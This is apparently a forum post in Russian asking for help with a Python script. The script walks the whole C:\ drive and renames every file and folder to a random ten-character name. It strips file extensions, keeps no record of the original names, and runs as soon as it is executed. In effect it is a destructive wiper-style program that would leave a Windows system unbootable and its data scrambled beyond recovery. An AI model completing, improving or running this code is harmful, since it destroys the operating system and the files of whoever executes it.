Помогите с кодом на пайтоне

 import os 
import random 
import string 
 
def random_filename(length): 
    letters_and_digits = string.ascii_letters + string.digits 
    return ''.join(random.choice(letters_and_digits) for _ in range(length)) 
 
def rename_files_in_directory(directory): 
    for filename in os.listdir(directory): 
        try: 
            new_filename = random_filename(10) 
            os.rename(os.path.join(directory, filename), os.path.join(directory, new_filename)) 
            print(f"File {filename} renamed to {new_filename}") 
        except Exception as e: 
            print(f"Failed to rename file {filename}: {e}") 
 
def rename_files_on_computer(): 
    for root, dirs, files in os.walk("C:\\"): 
        for directory in dirs: 
            rename_files_in_directory(os.path.join(root, directory)) 
        for file in files: 
            try: 
                new_filename = random_filename(10) 
                os.rename(os.path.join(root, file), os.path.join(root, new_filename)) 
                print(f"File {file} renamed to {new_filename}") 
            except Exception as e: 
                print(f"Failed to rename file {file}: {e}") 
 
rename_files_on_computer()